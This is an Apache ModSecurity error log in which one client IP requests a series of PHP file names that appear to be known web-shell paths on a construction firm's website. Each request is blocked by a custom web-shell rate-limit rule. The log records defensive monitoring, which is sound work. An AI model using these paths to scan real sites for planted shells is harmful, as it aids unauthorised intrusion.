[Sun Apr 12 01:35:02.686325 2026] [:error] [pid 44701:tid 44785] [client 158.158.55.67:15508] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "adqGRhGZAP4MrlxEPFc6MwAAAEs"]
[Sun Apr 12 01:35:03.541322 2026] [:error] [pid 34152:tid 34172] [client 158.158.55.67:16620] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "adqGR4FtE4RhFslT1Dq-RgAAABI"]
[Sun Apr 12 01:35:04.258823 2026] [:error] [pid 36938:tid 36951] [client 158.158.55.67:6415] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "adqGSISWpa_VL1JPU6zdAgAAAYs"]
[Sun Apr 12 01:35:04.921446 2026] [:error] [pid 44698:tid 44711] [client 158.158.55.67:16636] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "adqGSBgoH9UWd-U3D55grwAAAIg"]
[Sun Apr 12 01:35:05.783951 2026] [:error] [pid 45064:tid 45097] [client 158.158.55.67:33578] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "adqGSZcHBvLyJ6EUhUr99QAAAUU"]
[Sun Apr 12 01:35:06.632304 2026] [:error] [pid 34152:tid 34167] [client 158.158.55.67:40196] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "adqGSoFtE4RhFslT1Dq-TQAAAA0"]
[Sun Apr 12 01:35:07.445672 2026] [:error] [pid 44698:tid 44717] [client 158.158.55.67:30859] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "adqGSxgoH9UWd-U3D55gtAAAAI4"]
[Sun Apr 12 01:35:08.083245 2026] [:error] [pid 34152:tid 34175] [client 158.158.55.67:55526] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "adqGTIFtE4RhFslT1Dq-UQAAABU"]
[Sun Apr 12 01:35:09.470577 2026] [:error] [pid 34152:tid 34171] [client 158.158.55.67:19423] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "adqGTYFtE4RhFslT1Dq-VAAAABE"]
[Sun Apr 12 01:35:10.162279 2026] [:error] [pid 36909:tid 36926] [client 158.158.55.67:19455] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "adqGTkGk5GhxTCzHUOoXpgAAAQ8"]
[Sun Apr 12 01:35:10.956004 2026] [:error] [pid 34152:tid 34178] [client 158.158.55.67:40219] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "adqGToFtE4RhFslT1Dq-WQAAABg"]
[Sun Apr 12 01:35:11.537585 2026] [:error] [pid 36938:tid 36945] [client 158.158.55.67:31682] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "adqGT4SWpa_VL1JPU6zdFAAAAYU"]
[Sun Apr 12 01:35:12.578709 2026] [:error] [pid 44700:tid 44760] [client 158.158.55.67:30868] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "adqGUGryPgh_uW4QPCllugAAANA"]
[Sun Apr 12 01:35:13.205789 2026] [:error] [pid 34152:tid 34158] [client 158.158.55.67:36826] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "adqGUYFtE4RhFslT1Dq-YAAAAAQ"]
[Sun Apr 12 01:35:14.096675 2026] [:error] [pid 34152:tid 34172] [client 158.158.55.67:60124] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "adqGUoFtE4RhFslT1Dq-YgAAABI"]
[Sun Apr 12 01:35:14.818677 2026] [:error] [pid 34152:tid 34160] [client 158.158.55.67:57425] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "adqGUoFtE4RhFslT1Dq-YwAAAAY"]
[Sun Apr 12 01:35:15.758245 2026] [:error] [pid 45064:tid 45110] [client 158.158.55.67:19426] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "adqGU5cHBvLyJ6EUhUr9-QAAAVE"]
[Sun Apr 12 01:35:16.254230 2026] [:error] [pid 36909:tid 36917] [client 158.158.55.67:13954] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "adqGVEGk5GhxTCzHUOoXqAAAAQY"]
[Sun Apr 12 01:35:16.865938 2026] [:error] [pid 44698:tid 44705] [client 158.158.55.67:60108] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "adqGVBgoH9UWd-U3D55guwAAAII"]
[Sun Apr 12 01:35:17.622325 2026] [:error] [pid 44698:tid 44703] [client 158.158.55.67:15838] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "adqGVRgoH9UWd-U3D55gvwAAAIA"]
[Sun Apr 12 01:35:18.405932 2026] [:error] [pid 45064:tid 45105] [client 158.158.55.67:40255] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "adqGVpcHBvLyJ6EUhUr9_wAAAUw"]
[Sun Apr 12 01:35:19.116930 2026] [:error] [pid 36909:tid 36921] [client 158.158.55.67:46871] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "adqGV0Gk5GhxTCzHUOoXqwAAAQo"]
[Sun Apr 12 01:35:19.824553 2026] [:error] [pid 44701:tid 44799] [client 158.158.55.67:19412] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "adqGVxGZAP4MrlxEPFc6VAAAAFc"]
[Sun Apr 12 01:35:20.380769 2026] [:error] [pid 44701:tid 44800] [client 158.158.55.67:12969] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "adqGWBGZAP4MrlxEPFc6VwAAAFg"]
[Sun Apr 12 01:35:21.226284 2026] [:error] [pid 45064:tid 45111] [client 158.158.55.67:18592] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "adqGWZcHBvLyJ6EUhUr-AQAAAVI"]
[Sun Apr 12 01:35:21.942080 2026] [:error] [pid 36938:tid 36959] [client 158.158.55.67:31294] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "adqGWYSWpa_VL1JPU6zdGAAAAZM"]
[Sun Apr 12 01:35:22.758572 2026] [:error] [pid 36938:tid 36942] [client 158.158.55.67:13982] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "adqGWoSWpa_VL1JPU6zdGgAAAYI"]
[Sun Apr 12 01:35:23.338977 2026] [:error] [pid 34152:tid 34177] [client 158.158.55.67:46848] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "adqGW4FtE4RhFslT1Dq-ZwAAABc"]
[Sun Apr 12 01:35:24.014093 2026] [:error] [pid 36938:tid 36941] [client 158.158.55.67:33037] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "adqGXISWpa_VL1JPU6zdJAAAAYE"]
[Sun Apr 12 01:35:24.901482 2026] [:error] [pid 36938:tid 36952] [client 158.158.55.67:33076] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "adqGXISWpa_VL1JPU6zdJwAAAYw"]
[Sun Apr 12 01:35:25.657365 2026] [:error] [pid 44700:tid 44747] [client 158.158.55.67:19449] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "adqGXWryPgh_uW4QPCllwQAAAMM"]
[Sun Apr 12 01:35:26.687470 2026] [:error] [pid 36909:tid 36912] [client 158.158.55.67:6552] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "adqGXkGk5GhxTCzHUOoXxAAAAQE"]
[Sun Apr 12 01:35:27.351402 2026] [:error] [pid 44701:tid 44783] [client 158.158.55.67:17833] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "adqGXxGZAP4MrlxEPFc6ZwAAAEo"]
[Sun Apr 12 01:35:27.967525 2026] [:error] [pid 44701:tid 44789] [client 158.158.55.67:12497] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "adqGXxGZAP4MrlxEPFc6awAAAE4"]
[Sun Apr 12 01:35:28.583298 2026] [:error] [pid 36909:tid 36921] [client 158.158.55.67:31682] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "adqGYEGk5GhxTCzHUOoXyQAAAQo"]
[Sun Apr 12 01:35:29.261581 2026] [:error] [pid 44698:tid 44710] [client 158.158.55.67:17844] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "adqGYRgoH9UWd-U3D55gwwAAAIc"]
[Sun Apr 12 01:35:29.799854 2026] [:error] [pid 44701:tid 44799] [client 158.158.55.67:15577] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "adqGYRGZAP4MrlxEPFc6cAAAAFc"]
[Sun Apr 12 01:35:30.488218 2026] [:error] [pid 44701:tid 44787] [client 158.158.55.67:17297] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "adqGYhGZAP4MrlxEPFc6dgAAAE0"]
[Sun Apr 12 01:35:31.366310 2026] [:error] [pid 44701:tid 44792] [client 158.158.55.67:17328] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "adqGYxGZAP4MrlxEPFc6fQAAAFE"]
[Sun Apr 12 01:35:32.035134 2026] [:error] [pid 44701:tid 44794] [client 158.158.55.67:16638] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "adqGZBGZAP4MrlxEPFc6hAAAAFM"]
[Sun Apr 12 01:35:32.591888 2026] [:error] [pid 44698:tid 44726] [client 158.158.55.67:13952] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "adqGZBgoH9UWd-U3D55gxAAAAJc"]
[Sun Apr 12 01:35:33.519137 2026] [:error] [pid 36938:tid 36963] [client 158.158.55.67:31264] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "adqGZYSWpa_VL1JPU6zdNAAAAZc"]
[Sun Apr 12 01:35:34.180037 2026] [:error] [pid 36938:tid 36947] [client 158.158.55.67:12513] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "adqGZoSWpa_VL1JPU6zdOAAAAYc"]
[Sun Apr 12 01:35:34.845920 2026] [:error] [pid 44701:tid 44783] [client 158.158.55.67:13958] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "adqGZhGZAP4MrlxEPFc6jAAAAEo"]
[Sun Apr 12 01:35:35.696763 2026] [:error] [pid 44701:tid 44794] [client 158.158.55.67:12827] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "adqGZxGZAP4MrlxEPFc6jgAAAFM"]
[Sun Apr 12 01:35:36.479064 2026] [:error] [pid 34152:tid 34178] [client 158.158.55.67:33066] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "adqGaIFtE4RhFslT1Dq-cQAAABg"]
[Sun Apr 12 01:35:37.318998 2026] [:error] [pid 34152:tid 34164] [client 158.158.55.67:46906] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "adqGaYFtE4RhFslT1Dq-dAAAAAo"]
[Sun Apr 12 01:35:38.046839 2026] [:error] [pid 44701:tid 44794] [client 158.158.55.67:12855] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "adqGahGZAP4MrlxEPFc6mgAAAFM"]
[Sun Apr 12 01:35:38.661299 2026] [:error] [pid 44701:tid 44789] [client 158.158.55.67:18575] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "adqGahGZAP4MrlxEPFc6ngAAAE4"]
[Sun Apr 12 01:35:39.341630 2026] [:error] [pid 44700:tid 44754] [client 158.158.55.67:12976] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "adqGa2ryPgh_uW4QPCllyAAAAMo"]
[Sun Apr 12 01:35:39.993592 2026] [:error] [pid 44701:tid 44785] [client 158.158.55.67:18608] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "adqGaxGZAP4MrlxEPFc6nwAAAEs"]
[Sun Apr 12 01:35:40.799760 2026] [:error] [pid 44701:tid 44793] [client 158.158.55.67:56876] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "adqGbBGZAP4MrlxEPFc6oQAAAFI"]
[Sun Apr 12 01:35:42.097824 2026] [:error] [pid 36909:tid 36927] [client 158.158.55.67:46899] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "adqGbkGk5GhxTCzHUOoX0QAAARA"]
[Sun Apr 12 01:35:42.886195 2026] [:error] [pid 34152:tid 34169] [client 158.158.55.67:12806] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adqGboFtE4RhFslT1Dq-ewAAAA8"]
[Sun Apr 12 01:35:43.590251 2026] [:error] [pid 36909:tid 36917] [client 158.158.55.67:12837] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adqGb0Gk5GhxTCzHUOoX1gAAAQY"]
[Sun Apr 12 01:35:44.290681 2026] [:error] [pid 34152:tid 34166] [client 158.158.55.67:31246] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adqGcIFtE4RhFslT1Dq-fgAAAAw"]
